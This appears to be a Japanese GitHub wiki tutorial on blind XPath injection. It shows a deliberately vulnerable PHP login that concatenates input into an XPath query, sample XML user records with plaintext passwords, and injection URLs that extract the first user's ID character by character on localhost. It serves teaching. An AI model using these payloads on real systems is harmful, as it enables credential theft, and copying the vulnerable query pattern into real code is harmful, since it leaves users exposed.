XPathインジェクション 02 - yujitounai/helloworld GitHub Wiki
Blind Xpath インジェクション
<form method="get" action="">usage:?user=user1&pass=pass<br>
<br>
Please login<br>
username<input name="user" type="text" value=""><br>
password<input name="pass" type="password" value=""><br>
<input type="submit" value="login">
</form>
<?php
$doc = new DOMDocument;
$doc->load('xpath-account.xml');
$xpath = new DOMXPath($doc);
if($user=filter_input(INPUT_GET, 'user')){
$nodelist = $xpath->query('/account/user[name="'.$user.'" and password="'.filter_input(INPUT_GET, 'pass').'"]');
if ($nodelist->length) {
echo "Login Successful!<br>";
echo "User <b>" .$user. "</b> is login";
} else {
echo "username or password is wrong".PHP_EOL;
}
}else{
echo ('username and password required');
}
?>
<?xml version="1.0" encoding="UTF-8"?>
<UserInfo>
<User>
<ID>[email protected]</ID>
<Password>taro1234</Password>
<Name>山田太郎</Name>
<NickName>Taro太郎</NickName>
<Address>東京都品川区・・・</Address>
</User>
<User>
<ID>[email protected]</ID>
<Password>j_taka7777</Password>
<Name>高橋次郎</Name>
<NickName>Jiro次郎</NickName>
<Address>東京都渋谷区・・・</Address>
</User>
<User>
<ID>[email protected]</ID>
<Password>hnkszk5678</Password>
<Name>鈴木花子</Name>
<NickName>Hanako花子</NickName>
<Address>東京都新宿区・・・</Address>
</User>
</UserInfo>
Userの1番最初に見つかったノードの2番目のノード<ID>[email protected]</ID>
の内容の長さが16かどうか
16文字だとログインに成功する
/xpath-02.php?user="+or+string-length(//User[position()=1]/child::node()[position()=2])=16+or+""="&pass=
Userの1番最初に見つかったノードの2番目のノード<ID>[email protected]</ID>
の先頭一文字目がy
だとログインに成功する
/xpath-01.php?user=" or substring((//User[position()=1]/child::node()[position()=2]),1,1)='y' or ""="&pass=
http://localhost:9001/xpath-02.php?user=%22%20or%20substring((//User[position()=1]/child::node()[position()=2]),1,16)=%[email protected]%27%20or%20%22%22=%22&pass=